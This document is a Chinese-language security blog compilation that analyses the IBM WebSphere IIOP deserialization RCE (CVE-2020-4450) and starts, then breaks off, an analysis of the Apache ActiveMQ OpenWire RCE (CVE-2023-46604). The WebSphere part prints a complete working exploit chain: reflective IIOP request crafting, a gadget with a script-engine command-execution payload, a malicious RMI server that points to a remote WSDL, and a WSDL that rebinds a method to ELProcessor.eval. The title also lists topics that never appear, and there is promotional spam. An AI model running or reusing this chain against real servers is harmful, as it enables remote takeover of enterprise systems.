在本文中,我们将为您详细介绍WebSphere远程代码执行漏洞分析的相关知识,并且为您解答关于weblogic远程代码执行漏洞cve-2019-2729的疑问,此外,我们还会提供一些关于ApacheA
在本文中,我们将为您详细介绍WebSphere远程代码执行漏洞分析的相关知识,并且为您解答关于weblogic远程代码执行漏洞cve-2019-2729的疑问,此外,我们还会提供一些关于Apache ActiveMQ 远程代码执行漏洞分析、Apache FreeMarker模板FusionAuth远程代码执行漏洞分析、Apache Log4j 远程代码执行漏洞源码级分析、Apache ShardingSphere ElasticJob-UI <3.0.2 远程代码执行漏洞的有用信息。
本文目录一览:- WebSphere远程代码执行漏洞分析(weblogic远程代码执行漏洞cve-2019-2729)
- Apache ActiveMQ 远程代码执行漏洞分析
- Apache FreeMarker模板FusionAuth远程代码执行漏洞分析
- Apache Log4j 远程代码执行漏洞源码级分析
- Apache ShardingSphere ElasticJob-UI <3.0.2 远程代码执行漏洞
WebSphere远程代码执行漏洞分析(weblogic远程代码执行漏洞cve-2019-2729)
该漏洞本身其实并不是非常好用,但是对于分析来说,确实是今年以来比较有意思的一个漏洞了,值得所有做Java漏洞研究的人员进行跟进和学习。
0x01 漏洞概述
IBM WebSphere Application Server(后面简称WAS)在今年6月发布了一则漏洞通告,cve编号为:CVE-2020-4450。该漏洞允许攻击者通过iiop
向WAS进行网络请求,最终在WAS上执行任意代码。
在7月,ZDI公布了漏洞细节,同天iswin师傅也发布了他对此漏洞的分析,8月6日,360cert的小伙伴也公布了他自己的分析,本文是参考以上三篇文章完成的,主要用于记录自己的调试过程,以及补充相关的分析细节。
0x02 漏洞分析
该漏洞主要分为三部分:
TXServerInterceptor
拦截器处理iiop
请求利用
WSIF
构造Gadget伪造
wsdl
文件完成漏洞利用
本文将从上而下将三部分进行串流分析,主要采用静态跟踪,最后会在漏洞利用部分分享如何创建相关数据流完成整条流程的串通。
2.1 TXServerInterceptor拦截器处理iiop请求
这一部分tinit0
在19年的bh上其实已经做了相关的分享,这里只是记录一下自己的跟进流程。
TXServerInterceptor
具体代码在
com.ibm.ws.Transaction.JTS.TxServerInterceptor#receive_request
,这里只截关键部分的代码:
拦截器首先会根据ServerRequestInfo
实例化ServiceContext
对象,当serviceContext.context_data
对象非空时可以进入TxInterceptorHelper.demarshalContext
解析流程,而这里就是漏洞的起始点。
跟进TxInterceptorHelper.demarshalContext()
方法:
对Corba处理稍微熟悉一点的可以很明显的看出这里为Corba rpc流程中的解包流程。根据传入的bypte
数组初始化CDRInputStream
对象用于后续进行反序列化操作。在完成CDRInputStream
初始化后,调用read_any()
方法初始化Any
对象。
由于IBM自己重新实现了具体的IIOP解析流程,所以不能先入为主的用JDK原生处理逻辑来思考后续漏洞调用流程。
我们首先来跟进一下CDRInputStream
的初始化逻辑,后续流程会用到其所定义的CDRReader
:
这里最终返回EncoderInputStream
对象,并设置reader
对象为com.ibm.rmi.iiop.CDRInputStream
,reader
会在后续流程中用到。
现在跟进inputStream.read_any()
:
具体实现为com.ibm.rmi.iiop.CDRInputStream#reade_any
。由于CDRInputStream
中未实现read_any()
方法则调用com.ibm.rmi.iiop.CDRReader#read_any
:
其中最为关键的逻辑就是Any.read_value()
。到这里为止,经历了以下流程:
CDRInputStream初始化 ->
CDRInputStream.read_any() ->
CDRInputStream.read_value()
看过之前那篇简述Corba
文章的,可能已经清楚了,JDK原生实现逻辑在后续会触发反序列化流程,而IBM的实现方式却不尽相同,后续会触发反射调用的流程。
跟进Any.read_value()
方法:
首先会将传入的TypeCode
转化为真正的TypeCode
,之后调用TCUtility.unmarshalIn()
对传入的InputStream
进行解包操作,想要查看全部的TypeCode
的话,可以查看org.omg.CORBA.TCKind#from_int
。这里我们重点关注tk_value
,也就是TypeCode
为29的情况:
接下来的调用逻辑为:
org.omg.CORBA_2_3.portable.InputStream#read_value ->
com.ibm.rmi.iiop.EncoderInputStream#read_value ->
com.ibm.rmi.iiop.CDRReader#read_value
在com.ibm.rmi.iiop.CDRReader#read_value()
中存在关键逻辑:
在this.fast_read_value_ludcl();
中对this.valueClass
进行了初始化:
最终通过com.ibm.rmi.util.ClassCache#loadClass
调用JDK反射完成类的实例化。这里不做重点跟踪,感兴趣的可以自己跟一下。
这里主要跟进一下his.valueHandler.readValue()
方法的处理流程:
调用了this.inputStreamBridge.simpleReadObject()
最终返回一个Serializable
对象,继续跟进:
红框标注了两个重要的流程,simpleReadObjectInternal
方法和simpleReadObjectLoop
,这两个方法存在一定的区别。
simpleReadObjectInternal
simpleReadObjectInternal
首先根据valueClass
的类型进行流程分派,之后会向上轮询查找父类同时将subClass
保存在pendingReadStack
中。判断父类是否存在readObject
方法,如果没有则将完成初步处理的对象传入simpleReadObjectLoop
中对其子类进行反序列化。
这里会会向上轮询查找父类同时将subClass
保存在pendingReadStack
中,跟进看一下addSubclass()
方法:
其将相关信息都进行了设置,这些设置在simpleReadObjectLoop
中会用到。继续跟进:
此处会判断父类中是否存在readObject
方法,若不存在则完成后续处理逻辑并进入simpleReadObjectLoop
逻辑之中。
simpleReadObjectLoop
simpleReadObjectLoop
会遍历pendingReadStack
中的子类,并调用continueSimpleReadObject()
方法尝试反序列化。
此处的var2.obj
、var2.classDesc
、var2.fvd
在simpleReadObjectInternal
中都已经进行了设置。跟进inputObjectUsingClassDesc()
方法,和simpleReadObjectInternal
是相同的逻辑,先判断是否存在readObject
方法,如果存在则调用readObject
方法进行反序列化操作:
至此漏洞的触发点就梳理完毕了。
2.2 利用WSIF构造Gadget
2.2.1 WSIF更改执行流
在具体梳理漏洞gadget前,先用一个例子来简单介绍一下Apache WSIF
。
WSIF
全称Web服务调用框架,是一组用于调用Web服务的Java API。其和wsdl
描述文件强关联,wsdl
文件用于描述与Web服务的抽象结构进行交互,可以理解为Web服务API的描述文件。
首先创建一个接口,该接口用于与对应的wsdl
文件对应:
然后本地实现Gadget
接口,这里为了简单,直接将exec()
方法实现为执行命令:
具体的调用为:
WSIFServiceFactory.getService()
方法文档如下:
可以看到这里主要需要以下几个参数:
javax.wsdl.Definition
:wsdl文件的位置portTypeNs
:用于标识port的NameSpace,相当于配置的命名空间portTypeName
:port
的名字,在wsdl中portType
为接口对象的xml表示
这里的WSIFService.getStub(Gadget.class)
方法最终返回的是一个Gadget
类型的代理对象。
wsdl文件定义如下:
<?xml version="1.0" ?>
<definitions targetNamespace="http://wsifservice.addressbook/"
xmlns:tns="http://wsifservice.addressbook/"
xmlns:xsd="http://www.w3.org/1999/XMLSchema"
xmlns:format="http://schemas.xmlsoap.org/wsdl/formatbinding/"
xmlns:java="http://schemas.xmlsoap.org/wsdl/java/"
xmlns="http://schemas.xmlsoap.org/wsdl/">
<message name="ExecRequestMessage">
<part name="command" type="xsd:string"/>
</message>
<!-- port type declns -->
<portType name="Gadget">
<operation name="exec">
<input name="ExecRequest" message="tns:ExecRequestMessage"/>
</operation>
</portType>
<!-- binding declns -->
<binding name="JavaBinding" type="tns:Gadget">
<java:binding/>
<format:typeMapping encoding="Java" style="Java">
<format:typeMap typeName="xsd:string" formatType="java.lang.String" />
</format:typeMapping>
<operation name="exec">
<java:operation
methodName="exec"
parameterOrder="command"
methodType="instance"
/>
</operation>
</binding>
<!-- service decln -->
<service name="GadgetService">
<port name="JavaPort" binding="tns:JavaBinding">
<java:address className="com.lucifaer.wsif_gadget.service.GadgetImpl"/>
</port>
</service>
</definitions>
运行效果如下:
现在我们在不改动Main
代码的情况下(即不改变运行逻辑)让其执行el表达式解析(即实现不同的逻辑)。为了方便测试,只改变Main
中exec()
方法的参数(可以理解为这里是可控的值):
修改wsdl
如下:
执行结果如下:
通过上面两个例子可以简单的将WSIF理解为接口的描述文件,而接口方法的具体实现是根据wsdl
配置而进行绑定的。
所以当在面对一个存在WSIF
调用的逻辑时,可以考虑使用自定义的wsdl
来将执行流引向符合条件的其他实现中。
2.2.2 Gadget执行流
根据ZDI的文章,tint0
找到了一个存在readObject
方法的类,并且该类会触发JNDI
逻辑,这个类就是org.apache.wsif.providers.ejb.WSIFPort_EJB
:
HomeHandle.getEJBHome()
虽然也会触发JNDI流程,但是由于在具体实现时没有对返回回的代理类对象的相关方法进行引用,无法触发后续的gadget逻辑,所以此处需要构造一个Handle
对象,而非一个HomeHandle
对象。
现在我们可以先继续跟着Handle.getEJBObject()
的逻辑向下看,看到后面就可以理解为什么选择构造Handle
对象了。
跟进com.ibm.ejs.container.EntityHandle#getEJBObject
,此处是整个Gadget的主要执行逻辑:
总结一下分为三步:
JNDI返回一个
EJBHome
类型的对象检查返回对象的
EJBHome
对象是否存在findByPrimaryKey
方法反射调用
EJBHome
对象的findByPrimaryKey
对象
首先来看
home = (EJBHome)PortableRemoteObject.narrow(ctx.lookup(this.homeJNDIName), homeClass);
由于最终返回类型为EJBHome
,可以得知homeClass
为EJBHome
接口的具体实现类,且ctx.lookup(this.homeJNDIName)
必须为EJBHome
子类。
接着跟进com.ibm.ejs.container.EntityHandle#findFindByPrimaryKey
查看homeClass
需要满足的条件:
可以看到必须存在findByPrimaryKey
方法。在EJBHome
的继承树中寻找符合条件的类有:
com.ibm.ejs.security.registry.RegistryEntryHome
com.ibm.ws.batch.AbstractResourceHome
com.ibm.ws.batch.CounterHome
com.ibm.ws.batch.LocalJobStatusHome
目前先不管构造哪个接口的具体实现类,先来看一下ctx.lookup()
的具体实现,调用栈:
com.sun.jndi.rmi.registry.RegistryContext#lookup
com.sun.jndi.rmi.registry.RegistryContext#decodeObject
javax.naming.spi.NamingManager#getObjectInstance
org.apache.aries.jndi.OSGiObjectFactoryBuilder#getObjectInstance(java.lang.Object, javax.naming.Name, javax.naming.Context, java.util.Hashtable<?,?>)
org.apache.aries.jndi.ObjectFactoryHelper#getObjectInstance
跟进
org.apache.aries.jndi.ObjectFactoryHelper
#getObjectInstanceViaContextDotObjectFactories(java.lang.Object, javax.naming.Name, javax.naming.Context,java.util.Hashtable<?,?>,
javax.naming.directory.Attributes)
:
这里的factory
为ObjectFactory
接口的具体实现,而factory
是可以通过environment
自定义实现的,所以这里可以通过修改environment
的配置更改执行流。
tint0这里找到的可以用ObjectFactory
为org.apache.wsif.naming.WSIFServiceObjectFactory
:
由于ctx.lookup()
最终要求返回的是EJBHome
的实现类,而WSIFService
接口并非EJBHome
的子类,所以选择下面的流程。根据2.2.1中的叙述,可以明显的看出这里调用了WSIF
流程。
这里重新放一下WSIFServiceFactory.getService()
方法的文档:
对应实现的代码:
注意红框标注的相关代码,WSIF
所需要的基础参数我们都可以通过Reference
对象获得。通过指定className
,我们还可以指定生成的stub
动态代理对象的类型,当设置其为EJBHome
的具体实现类时,可以完美的匹配我们之前的需求。
而通过自定义wsdl
文件,我们可以将接口方法映射到其他的具体实现中,改变具体接口的执行流。
2.3 伪造wsdl文件完成漏洞利用
根据2.2.2中的内容,我们回看触发JNDI流程处的代码:
在2.2.2中也说过,这里的home
对象要满足两个条件:
是
EJBHome
的具体实现类存在
findByPrimaryKey
方法
搜索EJBHome
的继承树,满足条件的有:
com.ibm.ejs.security.registry.RegistryEntryHome
com.ibm.ws.batch.AbstractResourceHome
com.ibm.ws.batch.CounterHome
com.ibm.ws.batch.LocalJobStatusHome
所以如果构造Reference
对象中的className
为其中一个类,并设置好wsdl
文件中对应接口方法的映射,即可完成我们想要控制的逻辑。
仔细研究一下上面所列举的可用的EJBHome
接口子类:
其中com.ibm.ws.batch.CounterHome
是最容易构造的,可以配合javax.el.ELProcessor
执行el
表达式,最终导致命令执行。
所以只需要造好wsdl
,让CounterHome
的findByPrimaryKey
方法的具体实现指向javax.el.ELProcessor
的eval
方法,在返回了CounterHome
动态代理对象后,会利用反射调用其findByPrimaryKey
也就是我们通过wsdl
绑定的javax.el.ELProcessor#eval
方法,完成表达式执行。
攻击流程可以总结如下:
至此漏洞梳理完毕。
0x03 漏洞利用
根据0x02的分析,可以得出想要利用成功该漏洞所需的必备因素:
IIOP请求构造(满足进入触发点的context)
构造
org.apache.wsif.providers.ejb.WSIFPort_EJB
所需的序列化数据(最终反序列化对象的类型为Handle
)构造
wsdl
文件更改接口方法的具体实现构造
JNDI server
使其返回指定的Reference
对象
接下来会对上述流程进行逐一叙述。
3.1 IIOP请求构造
回看com.ibm.ws.Transaction.JTS.TxServerInterceptor#receive_request
:
要注意两个点:
ServiceContext.context_data
非空,且包含我们构造的序列化GadgetTxProperties.SINGLE_PROCESS
为true
重点来看一下ServiceContext
获取逻辑,跟进((ExtendedServerRequestInfo)sri).getRequestServiceContext(0)
,调用逻辑如下:
com.ibm.rmi.pi.ServerRequestInfoImpl#getRequestServiceContext
com.ibm.rmi.iiop.ServerRequestImpl#getServiceContext
com.ibm.rmi.iiop.RequestMessage#getServiceContext
com.ibm.rmi.iiop.ServiceContextList#getServiceContext
根据调用栈我们可以看到是从com.ibm.rmi.iiop.RequestMessage
对象中获取ServiceContext
对象的,在etServiceContext
方法中:
会遍历ServiceContextList
,提取id为0
的ServiceContext
。但是由于没有编号为0
的ServiceContext
,所以返回的是空。
仔细读一下官方文档,官方文档中有提及如何在RMI请求中插入ServiceContext
的做法,可以参考文档进行理解:
可以看到最终是调用ExtendedClientRequestInfo
(ClientRequestInfo
的父类)的add_request_service_context
方法完成自定义ServiceContext
的设置。那么关键点就是,我们如何从client端将ServiceContext
设置到ExtendedClientRequestInfo
中。
在跟踪了ibm自定义的通信过程后,可以发现在ORB
中的GIOPImpl
在调用createRequest
方法时会实例化ClientRequestImpl
对象:
这里有两个地方需要注意:
获取
Connection
对象根据获取的
Connection
对象获取ServiceContext
首先先看一下是如何从Connection
对象中获取到ServiceContext
的:
可以看到直接是调用Connection#getServiceContexts
方法。
之后跟进ClientRequestImpl
初始化逻辑:
将获取到的ServiceContext
作为参数传入到RequestMessage
的构造函数中。这里就和服务端跟到的逻辑相符。
梳理一下思路,构造IIOP
请求的关键点为:
进行第一次请求,初始化获取到的
Context
对象获取
ORB
获取
ORB
中的GIOPImpl
获取
Connection
对象调用
setConnectionContexts
将构造好的ServiceContext
设置到Connection
对象中进行第二次请求,触发
RequestMessage
对象的重新发送
具体构造可以动态调试一下,利用反射完成相关的值设置。
最终构造如下:
Properties env = new Properties();
env.put(Context.PROVIDER_URL, "iiop://192.168.211.128:2809");
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.ibm.websphere.naming.WsnInitialContextFactory");
InitialContext context = new InitialContext(env);
context.list("");
Field f_defaultInitCtx = context.getClass().getDeclaredField("defaultInitCtx");
f_defaultInitCtx.setAccessible(true);
WsnInitCtx defaultInitCtx = (WsnInitCtx) f_defaultInitCtx.get(context);
Field f_context = defaultInitCtx.getClass().getDeclaredField("_context");
f_context.setAccessible(true);
CNContextImpl _context = (CNContextImpl) f_context.get(defaultInitCtx);
Field f_corbaNC = _context.getClass().getDeclaredField("_corbaNC");
f_corbaNC.setAccessible(true);
_NamingContextStub _corbaNC = (_NamingContextStub) f_corbaNC.get(_context);
Field f__delegate = ObjectImpl.class.getDeclaredField("__delegate");
f__delegate.setAccessible(true);
ClientDelegate clientDelegate = (ClientDelegate) f__delegate.get(_corbaNC);
Field f_ior = clientDelegate.getClass().getSuperclass().getDeclaredField("ior");
f_ior.setAccessible(true);
IOR ior = (IOR) f_ior.get(clientDelegate);
Field f_orb = clientDelegate.getClass().getSuperclass().getDeclaredField("orb");
f_orb.setAccessible(true);
ORB orb = (ORB) f_orb.get(clientDelegate);
GIOPImpl giop = (GIOPImpl) orb.getServerGIOP();
Method getConnection = giop.getClass().getDeclaredMethod("getConnection", com.ibm.CORBA.iiop.IOR.class, Profile.class, ClientDelegate.class, String.class);
getConnection.setAccessible(true);
Connection connection = (Connection) getConnection.invoke(giop, ior, ior.getProfile(), clientDelegate, "Lucifaer");
Method setConnectionContexts = connection.getClass().getDeclaredMethod("setConnectionContexts", ArrayList.class);
setConnectionContexts.setAccessible(true);
byte[] result = new byte[]{0, 0};
ServiceContext serviceContext = new ServiceContext(0, result);
ArrayList v4 = new ArrayList();
v4.add(serviceContext);
setConnectionContexts.invoke(connection, v4);
context.list("");
3.2 构造所需的序列化数据
在2.1的分析中,我们知道要满足触发反序列化流程需要进行特殊构造。漏洞触发点为inputStream.read_any()
,为了满足上方对inputStream
相关数据的提取,所以需要特殊构造byte[]
:
既然存在demarshalContext
方法,那一定存在marshalContext
方法:
按照上面的方法直接生成符合要求的byte[]
:
CDROutputStream outputStream = ORB.createCDROutputStream();
outputStream.putEndian();
Any any = orb.create_any();
PropagationContext propagationContext = new PropagationContext(
0,
new TransIdentity(null, null, new otid_t(0, 0, new byte[0])),
new TransIdentity[0],
any
);
PropagationContextHelper.write(outputStream, propagationContext);
result = outputStream.toByteArray();
在满足了触发点后,我们需要构造gadget满足条件:
构造一个
org.apache.wsif.providers.ejb.WSIFPort_EJB
对象,其中还需要构造WSIFPort_EJB#readObject
方法传入值反序列化得到一个javax.ejb.Handle
对象。构造
EntityHandle
对象
3.2.1 生成WSIFPort_EJB序列化对象
直接看org.apache.wsif.providers.ejb.WSIFPort_EJB#writeObject
:
这里我们需要首先设置this.fieldEjbObject
对象并调用其getHandle
方法,生成一个Handle
对象。这里的this.fieldEjbObject
是EJBObject
接口的具体实现。所以可以自己寻找一个具体实现类,并覆盖其getHandle
方法。
3.2.2 构造EntityHandle对象
构造一个EntityHandle
对象还是比较麻烦的,我们来理一下:
我们需要将homeJNDIName
设置为我们自己定义的RMI Server地址,同时key
是最终传入findByPrimaryKey
的参数,需要构造为我们要执行的代码,所以需要构造特殊的BeanId
对象:
同时为了将之后RMI流程指向org.apache.wsif.naming.WSIFServiceObjectFactory
,需要我们在Properties
对象中设置相关的environment
:
我们首先构造BeanId
。跟进com.ibm.ejs.container.BeanId#getJNDIName
:
所以还需要构造HomeInternal
的具体实现对象,并使其返回String
类型。
整理一下需要构造的HomeInternal
对象的需求:
构造
J2EEName
对象,满足要求寻找一个
HomeInternal
的具体实现对象,其getJNDIName
方法返回String
,且返回不受到pkey
干扰
查看继承树后,发现EJSHome
抽象类满足要求:
所以梳理一下思路:
实例化
EJSHome
接口实现类实例化
J2EEName
对象反射设置
J2EEName
到EJSHome
接口实现类反射设置
EJSHome
接口实现类
的this.jndiName
变量为RMI Server的地址实例化
BeanId
实例化
BeanMetaData
实例化
Properties
这里重写了com.ibm.ejs.container.EJSWrapper
:
public Handle getHandle() {
Handle var2 = null;
try {
SessionHome sessionHome = new SessionHome();
J2EEName j2EEName = new J2EENameImpl("aa","aa","aa");
Field j2eeName = EJSHome.class.getDeclaredField("j2eeName");
j2eeName.setAccessible(true);
j2eeName.set(sessionHome,j2EEName);
Field jndiName = sessionHome.getClass().getSuperclass().getDeclaredField("jndiName");
jndiName.setAccessible(true);
jndiName.set(sessionHome,"rmi://127.0.0.1:1099/poc");
Serializable key = "\"a\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec(''open /Applications/Calculator.app'')\")";
//Serializable key = "\"a\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"ifconfig\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")";
BeanId beanId = new BeanId(sessionHome,key,true);
BeanMetaData beanMetaData = new BeanMetaData(1);
beanMetaData.homeInterfaceClass = com.ibm.ws.batch.CounterHome.class;
Properties initProperties = new Properties();
initProperties.setProperty("java.naming.factory.object", "org.apache.wsif.naming.WSIFServiceObjectFactory");
Constructor c = EntityHandle.class.getDeclaredConstructor(BeanId.class, BeanMetaData.class, Properties.class);
c.setAccessible(true);
var2 = (Handle) c.newInstance(beanId, beanMetaData, initProperties);
} catch (Exception e) {
e.printStackTrace();
}
return var2;
}
3.3 构造RMI Server绑定
根据2.2.2的分析,我们最终的RMI流程会进行到org.apache.wsif.naming.WSIFServiceObjectFactory
中:
所以我们需要构造一个恶意的RMI Server,其应该满足以下要求:
返回一个
WSIFServiceStubRef
对象指定用于后续调用
WSIF
流程的基础参数:wsdLoc
serviceNS
serviceName
portTypeNS
portTypeName
preferredPort
设置
className
为com.ibm.ws.batch.CounterHome
以上有关WSIF
的参数设置,可以参考2.2.1中的叙述,这里就不再过多重复了。
最终可以构造RMI Server如下:
public class RmiServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1097);
Reference ref = new Reference(WSIFServiceObjectFactory.class.getName(), null, null);
ref.add(new StringRefAddr("wsdlLoc", "http://192.168.211.1:9999/poc.wsdl"));
ref.add(new StringRefAddr("serviceNS", null));
ref.add(new StringRefAddr("serviceName", null));
ref.add(new StringRefAddr("portTypeNS", "http://wsifservice.addressbook/"));
ref.add(new StringRefAddr("portTypeName", "Gadget"));
ref.add(new StringRefAddr("className", "com.ibm.ws.batch.CounterHome"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("poc", referenceWrapper);
}
}
3.4 构造WSDL文件
这一部分参考2.2.1中叙述,这里直接给出wsdl
文件的内容:
<?xml version="1.0" ?>
<definitions targetNamespace="http://wsifservice.addressbook/"
xmlns:tns="http://wsifservice.addressbook/"
xmlns:xsd="http://www.w3.org/1999/XMLSchema"
xmlns:format="http://schemas.xmlsoap.org/wsdl/formatbinding/"
xmlns:java="http://schemas.xmlsoap.org/wsdl/java/"
xmlns="http://schemas.xmlsoap.org/wsdl/">
<!-- type defs -->
<!-- message declns -->
<message name="findByPrimaryKeyRequest">
<part name="el" type="xsd:string"/>
</message>
<message name="findByPrimaryKeyResponse">
<part name="counterObject" type="xsd:object"/>
</message>
<!-- port type declns -->
<portType name="Gadget">
<operation name="findByPrimaryKey">
<input message="findByPrimaryKeyRequest"/>
<output message="findByPrimaryKeyResponse"/>
</operation>
</portType>
<!-- binding declns -->
<binding name="JavaBinding" type="tns:Gadget">
<java:binding/>
<format:typeMapping encoding="Java" style="Java">
<format:typeMap typeName="xsd:string" formatType="java.lang.String"/>
<format:typeMap typeName="xsd:object" formatType="java.lang.Object"/>
</format:typeMapping>
<operation name="findByPrimaryKey">
<java:operation
methodName="eval"
parameterOrder="el"
methodType="instance"
returnPart="counterObject"
/>
</operation>
</binding>
<!-- service decln -->
<service name="GadgetService">
<port name="JavaPort" binding="tns:JavaBinding">
<java:address className="javax.el.ELProcessor"/>
</port>
</service>
</definitions>
3.5 整合poc
最后将3.2构造好的WSIFPort_EJB
序列化对象写入3.1构造好的IIOP请求中:
至此poc构造完毕。
攻击效果如下:
0x04 参考
https://www.zerodayinitiative.com/blog/2020/7/20/abusing-java-remote-protocols-in-ibm-websphere
https://www.secrss.com/articles/24353
https://cert.360.cn/report/detail?id=3d016bdef66b8e29936f8cb364f265c8
https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf
https://publib.boulder.ibm.com/tividd/td/ITMFTP/SC32-9412-00/en_US/HTML/arm48.htm
https://publib.boulder.ibm.com/tividd/td/ITMFTP/SC32-9412-00/en_US/HTML/arm48.htm
[http://ws.apache.org/wsif/index.html][http://ws.apache.org/wsif/index.html]
往期精彩
登陆页面的检测及渗透
渗透实战篇(一)
渗透测试信息收集的方法
常见Web中间件漏洞利用及修复方法
内网渗透 | 流量转发场景测试
Waf从入门到Bypass
实战渗透-看我如何拿下学校的大屏幕
技术篇:bulldog水平垂直越权+命令执行+提权
渗透工具实战技巧大合集 | 先收藏点赞再转发一气呵成
感兴趣的可以点个关注!!!
本文分享自微信公众号 - 安全先师(gh_d61f62dd440d)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。
Apache ActiveMQ 远程代码执行漏洞分析

漏洞简介
Apache ActiveMQ 官方发布新版本,修复了一个远程代码执行漏洞(CNVD-2023-69477 CVE-2023-46604),攻击者可构造恶意请求通过 Apache ActiveMQ 的 61616 端口发送恶意数据导致远程代码执行,从而完全控制 Apache ActiveMQ 服务器。
影响版本
Apache ActiveMQ 5.18.0 before 5.18.3 Apache ActiveMQ 5.17.0 before 5.17.6 Apache ActiveMQ 5.16.0 before 5.16.7 Apache ActiveMQ before 5.15.16 Apache ActiveMQ Legacy OpenWire Module 5.18.0 before 5.18.3 Apache ActiveMQ Legacy OpenWire Module 5.17.0 before 5.17.6 Apache ActiveMQ Legacy OpenWire Module 5.16.0 before 5.16.7 Apache ActiveMQ Legacy OpenWire Module 5.8.0 before 5.15.16
环境搭建
没有找到合适的 docker 镜像 ,尝试自己进行编写
可以站在巨人的肩膀上进行编写利用 利用项目 https://github.com/zer0yu/dfimage 分析镜像的 dockerfile
docker pull islandora/activemq:2.0.7 dfimage islandora/activemq:2.0.7
结合 https://activemq.apache.org/version-5-getting-started
Dockerfile
FROM ubuntu #ENV DEBIAN_FRONTEND noninteractive RUN sed -i ''s/archive.ubuntu.com/mirrors.aliyun.com/g'' /etc/apt/sources.list RUN sed -i ''s/security.ubuntu.com/mirrors.aliyun.com/g'' /etc/apt/sources.list RUN apt-get update -y RUN apt-get install wget -y RUN apt install openjdk-11-jre-headless -y COPY apache-activemq-5.18.2-bin.tar.gz / #RUN wget https://archive.apache.org/dist/activemq/5.18.2/apache-activemq-5.18.2-bin.tar.gz RUN tar zxvf apache-activemq-5.18.2-bin.tar.gz RUN chmod 755 /apache-activemq-5.18.2/bin/activemq RUN echo ''#!/bin/bash\n\n/apache-activemq-5.18.2/bin/activemq start\ntail -f /dev/null'' > start.sh RUN chmod +x start.sh EXPOSE 8161 61616 CMD ["/start.sh"] ## 默认启动后 8161 的管理端口仅能通过 127.0.0.1 本地地址进行访问 可以通过修改 /conf/jetty.xml
docker-compose.yml
version: "2.2" services: activemq: build: . ports: - "8161:8161" - "61616:61616"
./activemq start ./activemq status ./activemq console netstat -tuln | grep 8161 netstat -tuln | grep 61616
漏洞分析
下载源代码 https://archive.apache.org/dist/activemq/5.18.2/activemq-parent-5.18.2-source-release.zip
开启调试只需要修改 apache-activemq-5.18.2\bin\activemq
https://github.com/apache/activemq/compare/activemq-5.18.2..activemq-5.18.3
新版本的修复位置是在
org.apache.activemq.openwire.v11.BaseDataStreamMarshaller#createThrowable
ClassName 和 message 可控,代表着可以调用任意类的 String 构造方法,AvtiveMQ 内置 Spring,结合 org.springframework.context.support.ClassPathXmlApplicationContext
加载远程配置文件实现 SPEL 表达式注入。
【---- 帮助网安学习,以下所有学习资料免费领!领取资料加 we~@x:dctintin,备注 “开源中国” 获取!】
① 网安学习成长路径思维导图
② 60 + 网安经典常用工具包
③ 100+SRC 漏洞分析报告
④ 150 + 网安攻防实战技术电子书
⑤ 最权威 CISSP 认证考试指南 + 题库
⑥ 超 1800 页 CTF 实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP 客户端安全检测指南(安卓 + IOS)
寻找调用该方法的位置
org.apache.activemq.openwire.v11.BaseDataStreamMarshaller#looseUnmarsalThrowable
继续向上寻找调用
网上大部分都选用了 ExceptionResponseMarshaller
我们也基于此进行分析
org.apache.activemq.openwire.v11.ExceptionResponseMarshaller#looseUnmarshal
继续向上寻找调用
org.apache.activemq.openwire.OpenWireFormat#doUnmarshal
我们看到此时 dsm 的值是基于传入的 dis.readByte();
<transportConnector name="openwire" uri="tcp://0.0.0.0:61616?maximumConnections=1000&wireFormat.maxFrameSize=104857600"/> ActiveMQ中默认的消息协议就是openwire
编写一个 ActiveMQ 的通信请求
public static void sendToActiveMQ() throws Exception { /* * 创建连接工厂,由 ActiveMQ 实现。构造方法参数 * userName 用户名 * password 密码 * brokerURL 访问 ActiveMQ 服务的路径地址,结构为: 协议名://主机地址:端口号 */ ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("admin", "admin", "tcp://127.0.0.1:61616"); //创建连接对象 Connection connection = connectionFactory.createConnection(); //启动连接 connection.start(); /* * 创建会话,参数含义: * 1.transacted - 是否使用事务 * 2.acknowledgeMode - 消息确认机制,可选机制为: * 1)Session.AUTO_ACKNOWLEDGE - 自动确认消息 * 2)Session.CLIENT_ACKNOWLEDGE - 客户端确认消息机制 * 3)Session.DUPS_OK_ACKNOWLEDGE - 有副本的客户端确认消息机制 */ Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE); //创建目的地,也就是队列名 Destination destination = session.createQueue("q_test"); //创建消息生成者,该生成者与目的地绑定 MessageProducer mProducer = session.createProducer(destination); //创建消息 Message message = session.createTextMessage("Hello, ActiveMQ"); //发送消息 mProducer.send(message); connection.close(); }
前面的调用栈为
doUnmarshal:379, OpenWireFormat (org.apache.activemq.openwire) unmarshal:290, OpenWireFormat (org.apache.activemq.openwire) readCommand:240, TcpTransport (org.apache.activemq.transport.tcp) doRun:232, TcpTransport (org.apache.activemq.transport.tcp) run:215, TcpTransport (org.apache.activemq.transport.tcp) run:829, Thread (java.lang)
此时 datatype 为 1 调用的是 WireFormatInfoMarshaller 我们要想办法调用 datatype 为 31 的 ExceptionResponseMarshaller
花式触发 ExceptionResponseMarshaller
现在我们的目的就是为了去调用 ExceptionResponseMarshaller
寻找触发 ActiveMQ 中的 ExceptionResponse
函数 org.apache.activemq.ActiveMQSession#asyncSendPacket
和
函数 org.apache.activemq.ActiveMQSession#syncSendPacket
都可以发送 command
最后会调用到 org.apache.activemq.transport.tcp.TcpTransport#oneway
也可以通过 ((ActiveMQConnection)connection).getTransportChannel().oneway(expetionResponse);
和 ((ActiveMQConnection)connection).getTransportChannel().request(expetionResponse);
来触发
